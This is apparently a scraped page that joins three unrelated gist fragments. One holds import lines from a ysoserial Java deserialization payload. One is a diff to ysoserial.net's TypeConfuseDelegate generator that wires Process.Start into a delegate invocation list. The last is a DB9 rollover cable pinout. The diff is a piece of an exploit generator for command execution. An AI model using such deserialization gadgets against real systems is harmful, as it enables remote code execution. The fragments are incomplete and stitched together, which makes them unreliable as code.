This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package ysoserial.payloads; | |
import org.apache.commons.io.FilenameUtils; | |
import ysoserial.payloads.annotation.Authors; | |
import ysoserial.payloads.annotation.Dependencies; | |
import ysoserial.payloads.util.PayloadRunner; | |
import ysoserial.payloads.util.Reflections; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.aspectj.weaver.tools.cache.SimpleCache; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/ysoserial/Generators/TypeConfuseDelegateGenerator.cs b/ysoserial/Generators/TypeConfuseDelegateGenerator.cs | |
index 96bbea0..0f83ffa 100755 | |
--- a/ysoserial/Generators/TypeConfuseDelegateGenerator.cs | |
+++ b/ysoserial/Generators/TypeConfuseDelegateGenerator.cs | |
@@ -46,6 +46,7 @@ namespace ysoserial.Generators | |
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); | |
object[] invoke_list = d.GetInvocationList(); | |
// Modify the invocation list to add Process::Start(string, string) | |
+ invoke_list[0] = new Func<string, string, Process>(Process.Start); | |
invoke_list[1] = new Func<string, string, Process>(Process.Start); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Ever butchered a console cable 'cause you needed a female DB9 connector for something like RIGHT NOW. Yea, me too... | |
Roll over cable DB9 pinout | |
Pin 1 - Orange | |
Pin 2 - Red | |
Pin 3 - Green | |
Pin 4 - Blue | |
Pin 5 - Yellow | |
Pin 6 - Brown |